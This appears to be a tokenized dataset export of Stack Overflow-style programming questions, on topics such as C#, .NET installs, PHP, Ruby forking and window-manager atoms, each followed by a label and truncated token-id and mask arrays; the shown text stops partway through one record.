We've got Ultraseek 5.7 indexing the content on our corporate intranet site, and we'd like to make sure our web pages are being optimized for it.
Which SEO techniques are useful for Ultraseek, and where can I find documentation about these features?
Features I've considered implementing:
* Make the title and first H1 contain the most valuable information about the page
* Implement a sitemap.xml file
* Ping the Ultraseek xpa interface when a new data poitn is added
* Use "SEO-Friendly" URL strings | 0 | [
2,
13,
18,
3894,
26,
6885,
1798,
197,
5650,
800,
3726,
3726,
95,
22,
195,
330,
6885,
1798,
197,
331,
9,
465,
4348,
68,
14,
2331,
27,
318,
4871,
14369,
2328,
689,
15,
17,
95,
22,
43,
101,
20,
233,
562,
318,
2741,
4434,
50,
142,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Capturing key press messages
===
We're building some software for an in-house Kiosk. The software is a basic .net windows form with an embedded browser. The Kiosk is outfitted with a mat that the user steps on. When the user steps on the mat, it sends a key comination through the keyboard. When the user steps off the mat it sends a different key combination.
What we want to do is look for the key combination in our app, and based on if the user steps on or off, cause the browser to go to a different url.
How do you hook the keyboard to accomodate this type of situation? | 0 | [
2,
12859,
1246,
901,
7561,
800,
3726,
3726,
95,
22,
99,
353,
109,
2306,
26,
40,
19,
8,
1682,
28092,
9,
14,
2306,
25,
21,
2125,
13,
9,
2328,
1936,
505,
29,
40,
12138,
16495,
9,
14,
28092,
25,
8419,
1427,
29,
21,
4277,
30,
14,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
C# 3.0 Anonymous Types: Naming
===
I was wondering if there is some way to name or rename a property on an Anonymous type to include a space in the property name. For example:
var resultSet = from customer in customerList
select new
{
FirstName = customer.firstName;
};
In this example I would like FirstName to be "First Name". The reason for this question, is I have a user control that exposes a public DataSource property that I bind to different anonymous type. It is working perfectly right now, except for the one little shortcoming of the column names being a little less than user friendly (FirstName instead of First Name).
| 0 | [
2,
272,
5910,
203,
9,
387,
10364,
2551,
45,
10929,
800,
3726,
3726,
31,
23,
5712,
100,
80,
25,
109,
161,
20,
204,
54,
302,
7259,
21,
1354,
27,
40,
10364,
1001,
20,
468,
21,
726,
19,
14,
1354,
204,
9,
26,
823,
45,
4033,
1736,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
How can you get the names of method parameters in C#?
===
If I have a method such as:
public void MyMethod(int arg1, string arg2)
How would I go about getting the actual names of the arguments?
I can't seem to find anything in the MethodInfo which will actually give me the name of the parameter.
I would like to write a method which looks like this:
public static string GetParamName(MethodInfo method, int index)
So if I called this method with:
string name = GetParamName(MyMethod, 0)
it would return "arg1". Is this possible? | 0 | [
2,
184,
92,
42,
164,
14,
1817,
16,
2109,
12905,
19,
272,
5910,
60,
800,
3726,
3726,
100,
31,
57,
21,
2109,
145,
28,
45,
317,
11364,
51,
5909,
1807,
43,
5,
6391,
13,
10663,
165,
15,
3724,
13,
10663,
135,
6,
184,
83,
31,
162,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
What is a mock and when should you use it?
===
I just read the Wikipedia article on [mock objects][1], but I'm still not entirely clear on their purpose. It appears they are objects that are created by a test framework when the actual object would be too complex or unpredictable (you know 100% sure what the values of the mock object are because you fully control them).
However, I was under the impression that all testing is done with objects of known values, so I must be missing something. For example, in a course project, we were tasked with a calendar application. Our test suite consisted of event objects that we knew exactly what they were so we could test the interactions between multiple event objects, various subsystems, and the user interface. I'm guessing these are mock objects, but I don't know why you wouldn't do this because without the objects of known values, you can't test a system.
[1]: http://en.wikipedia.org/wiki/Mock_object | 0 | [
2,
98,
25,
21,
10506,
17,
76,
378,
42,
275,
32,
60,
800,
3726,
3726,
31,
114,
1302,
14,
20169,
2002,
27,
636,
79,
5668,
3916,
500,
2558,
165,
500,
15,
47,
31,
22,
79,
174,
52,
2894,
1207,
27,
66,
2131,
9,
32,
1780,
59,
50,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
.NET Framework 3.5 wont install on VISTA 32bit
===
Running VISTA 32bit.
I am trying to install c# Visual Express 2008 - but it requires .NET 3.5. One of the prerequisites during the install is .NET 3.5 ... it attempts to install it but fails, with no real error message.
So I downloaded .NET 3.5 standalone from MS website and tried that.Again it fails with the error
> [10/17/08,23:17:07] WapUI: [2] DepCheck indicates Microsoft .NET Framework 3.0SP1 (CBS) is not installed.
[10/17/08,23:50:55] Microsoft .NET Framework 3.0SP1 (CBS): [2] Error: Installation failed for component Microsoft .NET Framework 3.0SP1 (CBS). MSI returned error code 34
I currently have c# Express edition 2005 installed. But everything I read says that I can have these two applications installed together. I believe that 2005 runs Framework 2.0. 2005 express edition works fine. - its just the 2008 edition im having problems installed the .NET 3.5 with ....
any ideas ? thanks | 0 | [
2,
13,
9,
2328,
6596,
203,
9,
264,
7290,
16146,
27,
13520,
2512,
3326,
800,
3726,
3726,
946,
13520,
2512,
3326,
9,
31,
589,
749,
20,
16146,
272,
5910,
3458,
2999,
570,
13,
8,
47,
32,
4781,
13,
9,
2328,
203,
9,
264,
9,
53,
16,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Displaying a Screensaver with an Away Message
===
I'm looking for an application that would lock my computer and display a screensaver with an away message that I set when I lock it. The idea is that when I go off somewhere during work, my co-workers would know where I'm off to instead of puzzling over my empty desk.
Does such an application exist?
If not, how would I go about making something like this?
I have developing experience but have never dealed with screensavers or locking windows before. | 0 | [
2,
17418,
21,
14236,
11937,
29,
40,
229,
2802,
800,
3726,
3726,
31,
22,
79,
699,
26,
40,
3010,
30,
83,
3991,
51,
1428,
17,
3042,
21,
14236,
11937,
29,
40,
229,
2802,
30,
31,
309,
76,
31,
3991,
32,
9,
14,
882,
25,
30,
76,
31,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Debugging causing exceptions?
===
I was getting bad data from an application I was writting using C++ in Visual Studio 2k3 so I decided to debug it. Then I found it was throwing an exception but one I can't track down.
Then I placed some try/catch blocks and low and behold, when I don't debug there is no exception. That is, I have code that looks like this:
<code><pre>
std::vector<MyClass*> ListOfStuff;
.
.
.
try
{
.
.
.
const MyClass * localPointer = ListOfStuff[i]; //This is where the exception occurs
.
.
}
catch (...)
{
int x = 0; //place break here
}
</pre></code>
So if I step through the code line by line I'll get an exception and shot to the catch. But if I just let it run with a breakpoint inside the catch nothing happens. Using an iterator has the same behavior. And I can successfully check the size of the vector so I know I'm within the bounds.
<br>
Can anyone tell me what's going on? If it matters I'm using some standard windows libraries and openGL. | 0 | [
2,
121,
16254,
2762,
3242,
13392,
60,
800,
3726,
3726,
31,
23,
1017,
896,
1054,
37,
40,
3010,
31,
23,
20127,
1203,
568,
272,
20512,
19,
3458,
1120,
172,
197,
240,
86,
31,
868,
20,
121,
16254,
32,
9,
94,
31,
216,
32,
23,
6033,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
good php framework to run on a budget web host?
===
I'd like to create some small websites using PHP as the programming language. I've looked at several frameworks but they all appear to be rather large and am not sure how well they will run in a shared hosting environment. I was wondering if anyone knew of frameworks that work well in shared hosting? I'm looking for something with MVC and ORM features and anything else extra would just be a bonus. | 0 | [
2,
254,
13,
26120,
6596,
20,
485,
27,
21,
3391,
2741,
2015,
60,
800,
3726,
3726,
31,
22,
43,
101,
20,
1600,
109,
284,
13931,
568,
13,
26120,
28,
14,
3143,
816,
9,
31,
22,
195,
292,
35,
238,
6596,
18,
47,
59,
65,
1893,
20,
44... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Is BPM in your mind?
===
And I'm not meaning Bits Per Minute, but Business Process Management.
At first though BPM was overestimated, because the technology is somehow easy to adrees, but I've learn the value of BPM suites is in involving the non-technical, the business experts into the software design.
I know, the user is always with us during analysis, but the artifacts we use, are always very unfamiliar to them, no matter how friendly the UML diagram looks like, or how many Agile iterations we go into, there is always a gap between the final user and the final developer ( usually covered by the user manager and the IT manager :-S )
How do you ( as software developers ) see BPM? Does it looks interesting? Would you consider to learn one of them? Do your think in 5 yrs it will be dead?
I know BPM is not silver bullet at all, but unless you have very smart customer who knows how to express its requirements for us to get it right, the analysis and requirement will always be the area where the projects will fail.
| 0 | [
2,
25,
17308,
79,
19,
154,
594,
60,
800,
3726,
3726,
17,
31,
22,
79,
52,
1813,
10181,
416,
2038,
15,
47,
508,
953,
1097,
9,
35,
64,
362,
17308,
79,
23,
84,
15018,
79,
1669,
15,
185,
14,
1099,
25,
3625,
2010,
20,
21,
43,
99,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
winforms html editor
===
Anyone know of a good free winforms html editor for .NET. Ideally I would like html and preview modes along with the possibility of exporting to a pdf, word doc or similar.
Although the export I could probably create myself from the html output.
Another nice feature would be a paste from word that removes all the extra tags you usually end up with but again it's a nice to have not a required. | 0 | [
2,
628,
4190,
18,
13,
15895,
1835,
800,
3726,
3726,
1276,
143,
16,
21,
254,
551,
628,
4190,
18,
13,
15895,
1835,
26,
13,
9,
2328,
9,
5628,
102,
31,
83,
101,
13,
15895,
17,
16121,
12770,
303,
29,
14,
4813,
16,
7487,
68,
20,
21,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
What are views good for?
===
I'm just trying to get a general idea of what views are used for in RDBMSes. That is to say, I know what a view is and how to make one. I also know what I've used them for in the past.
But I want to make sure I have a thorough understanding of what a view is useful for and what a view shouldn't be useful for. More specifically:
1. What is a view useful for?
- Are there any situations in which it is tempting to use a view when you shouldn't use one?
- Why would you use a view in lieu of something like a table-valued function or vice versa?
- Are there any circumstances that a view might be useful that aren't apparent at first glance?
(And for the record, some of these questions are intentionally naive. This is partly a concept check.) | 0 | [
2,
98,
50,
4146,
254,
26,
60,
800,
3726,
3726,
31,
22,
79,
114,
749,
20,
164,
21,
297,
882,
16,
98,
4146,
50,
147,
26,
19,
13,
897,
13178,
7202,
9,
30,
25,
20,
395,
15,
31,
143,
98,
21,
1418,
25,
17,
184,
20,
233,
53,
9,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Why not control a HashMap like a Comparator controls TreeMap?
===
With a TreeMap it's trivial to bypass the keys' natural ordering using a Comparable.
HashMaps however cannot be controlled in this manner.
I suspect it would be both easy and useful to design an interface corresponding to Comparator and to retrofit this into HashMap (or a new class)? Something like this, except with better names:
interface Hasharator<T> {
int alternativeHashCode(T t);
boolean alternativeEquals(T t1, T t2);
}
class HasharatorMap<K, V> {
HasharatorMap(Hasharator<? super K> hasharator) { ... }
}
class HasharatorSet<T> {
HasharatorSet(Hasharator<? super T> hasharator) { ... }
}
The [case insensitive Map][1] problem gets a trivial solution:
new HasharatorMap(String.CASE_INSENSITIVE_EQUALITY);
Would this be doable, or can you see any fundamental problems with this approach?
Is the approach used in any existing (non-JRE) libs? (Tried google, no luck.)
[1]: http://stackoverflow.com/questions/212562/is-there-a-good-way-to-have-a-mapstring-get-and-put-ignore-case
| 0 | [
2,
483,
52,
569,
21,
19170,
15022,
101,
21,
6479,
512,
3457,
8671,
1541,
15022,
60,
800,
3726,
3726,
29,
21,
1541,
15022,
32,
22,
18,
13,
19712,
20,
8900,
14,
5534,
22,
1112,
15775,
568,
21,
14109,
9,
19170,
15022,
18,
207,
1967,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
XHTML: <a> tag to multiple destinations in multiple target frames?
===
I'm working on a table of links within a site using iframes. I'm wondering if there's any way to code a link to go to two simultaneous destinations within two different target frames? I've been reading all afternoon and can't find anything close to what I want to do. Basically I want one link to present a photo in one iframe and some data in another iframe. Any ideas? | 0 | [
2,
993,
15895,
45,
13,
1,
58,
1,
3383,
20,
1886,
16821,
19,
1886,
2935,
12809,
60,
800,
3726,
3726,
31,
22,
79,
638,
27,
21,
859,
16,
6271,
363,
21,
689,
568,
31,
8361,
18,
9,
31,
22,
79,
5712,
100,
80,
22,
18,
186,
161,
2... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
What puts less load on a PHP server: SimpleXML or json_decode?
===
I'm starting to develop a web application in PHP that I hope will become incredibly popular and make me famous and rich. :-)
If that time comes, my decision whether to parse the API's data as XML with SimpleXML or to use json_decode could make a difference in the app's scalability.
Does anyone know which of these approaches is more efficient for the server? | 0 | [
2,
98,
11179,
787,
6305,
27,
21,
13,
26120,
8128,
45,
1935,
396,
8184,
54,
487,
528,
1,
546,
9375,
60,
800,
3726,
3726,
31,
22,
79,
1422,
20,
2803,
21,
2741,
3010,
19,
13,
26120,
30,
31,
1376,
129,
533,
13003,
844,
17,
233,
55... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
How "self-documenting" can code be without being annoying?
===
I am not sure what the best practices are here, but I often see abbreviated variable names especially when the scope is small. So (to use simple Ruby examples) instead of `def add_location(name, coordinates)`, I see things like `def add_loc(name, coord)`—and I might even see something like `def add_loc(n, x, y)`. *I imagine that longer names might tire a person out whose used to seeing abbreviations.*
Does verbosity help readability, or does it just hurt everyone's eyes?—Do people prefer abbreviations and shortened names over longer names? | 0 | [
2,
184,
13,
7,
8411,
8,
28132,
68,
7,
92,
1797,
44,
366,
142,
17610,
60,
800,
3726,
3726,
31,
589,
52,
562,
98,
14,
246,
5242,
50,
235,
15,
47,
31,
478,
196,
15902,
7612,
1817,
1118,
76,
14,
9914,
25,
284,
9,
86,
13,
5,
26... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Confusing _NET_SUPPORTING_WM_CHECK
===
I am trying to make my window manager conform to the ICCCM specifications. I fully understand the reason for the _NET_SUPPORTING_WM_CHECK atom - this ensures that no invalid information stays whenever the window manager isn't running anymore.
What I don't understand is why are no other atoms like _NET_NUMBER_OF_DESKTOPS expected on the supporting window besides _NET_WM_NAME and _NET_SUPPORTING_WM_CHECK itself.
Window managers are supposed to set and overwrite the data but this can be misleading in the case the new window manager isn't compliant. | 0 | [
2,
18084,
13,
1,
2328,
1,
24168,
68,
1,
499,
79,
1,
12542,
800,
3726,
3726,
31,
589,
749,
20,
233,
51,
1463,
1382,
13620,
20,
14,
18946,
9095,
17971,
9,
31,
2337,
1369,
14,
1215,
26,
14,
13,
1,
2328,
1,
24168,
68,
1,
499,
79... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Ruby %x forks on 64-bit Linux, but not on 32, and only with specific syntax
===
Here's some Ruby code:
puts %x{ pstree #{$$} } # never forks
puts %x{ pstree '#{$$}' } # forks on amd64 only
On 32-bit Ubuntu Dapper, I get this output:
t.rb---pstree
t.rb---pstree
Which makes sense to me. But on 64-bit Ubuntu Hardy, I get this:
t.rb---sh---pstree
t.rb---pstree
What's being shown here is that Ruby forks before exec'ing in just one of the cases. When I put the code in a file and run it under strace -fF, it appears that on 64-bit Hardy it calls `clone()` (like `fork()`) before `execve()`, whereas on 32-bit Dapper it does no such thing.
My Ruby versions are:
ruby 1.8.4 (2005-12-24) [i486-linux]
ruby 1.8.6 (2007-09-24 patchlevel 111) [x86_64-linux]
I should try mixing & matching interpreters & OS's & word sizes more, but right now it's not easy since I don't administer these machines. Maybe someone among you can tell me what the difference even is between these commands on the 64-bit system, let alone why they work the same on the 32-bit one. | 0 | [
2,
10811,
13,
11881,
396,
8777,
18,
27,
4384,
8,
3326,
13024,
15,
47,
52,
27,
2512,
15,
17,
104,
29,
1903,
22649,
800,
3726,
3726,
235,
22,
18,
109,
10811,
1797,
45,
11179,
13,
11881,
396,
1,
8613,
8101,
6926,
1,
4403,
4403,
1,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
RadioButtonList exception
===
After I upgraded to the beta, I'm having trouble with Html.RadioButtonList. Can someone show me what I'm doing wrong?
The code:
<% Html.RadioButtonList(
"voter" + voter.Id,
new SelectList(new[]{"yes","no","abstain"}, "yes")).Each(x => Response.Write(x)); %>
And the exception I get:
[ArgumentNullException: Value cannot be null.
Parameter name: value]
System.Web.Mvc.Html.InputExtensions.RadioButton(HtmlHelper htmlHelper, String name, Object value, Boolean isChecked, IDictionary`2 htmlAttributes) +214
Microsoft.Web.Mvc.<>c__DisplayClass1.<RadioButtonListInternal>b__0(ListItem item) in c:\dd\Cicero\src\Mvc\main\src\MvcFutures\Mvc\RadioExtensions.cs:86
System.Linq.WhereSelectListIterator`2.MoveNext() +107
System.Linq.Buffer`1..ctor(IEnumerable`1 source) +259
System.Linq.Enumerable.ToArray(IEnumerable`1 source) +81
Microsoft.Web.Mvc.RadioListExtensions.RadioButtonListInternal(HtmlHelper htmlHelper, String name, SelectList selectList, Boolean usedViewData, IDictionary`2 htmlAttributes) in c:\dd\Cicero\src\Mvc\main\src\MvcFutures\Mvc\RadioExtensions.cs:88
Microsoft.Web.Mvc.RadioListExtensions.RadioButtonList(HtmlHelper htmlHelper, String name, SelectList selectList) in c:\dd\Cicero\src\Mvc\main\src\MvcFutures\Mvc\RadioExtensions.cs:29
Many thanks in advance!
Rob | 0 | [
2,
603,
811,
444,
5739,
5391,
800,
3726,
3726,
75,
31,
9958,
20,
14,
8434,
15,
31,
22,
79,
452,
2572,
29,
13,
15895,
9,
11129,
811,
444,
5739,
9,
92,
737,
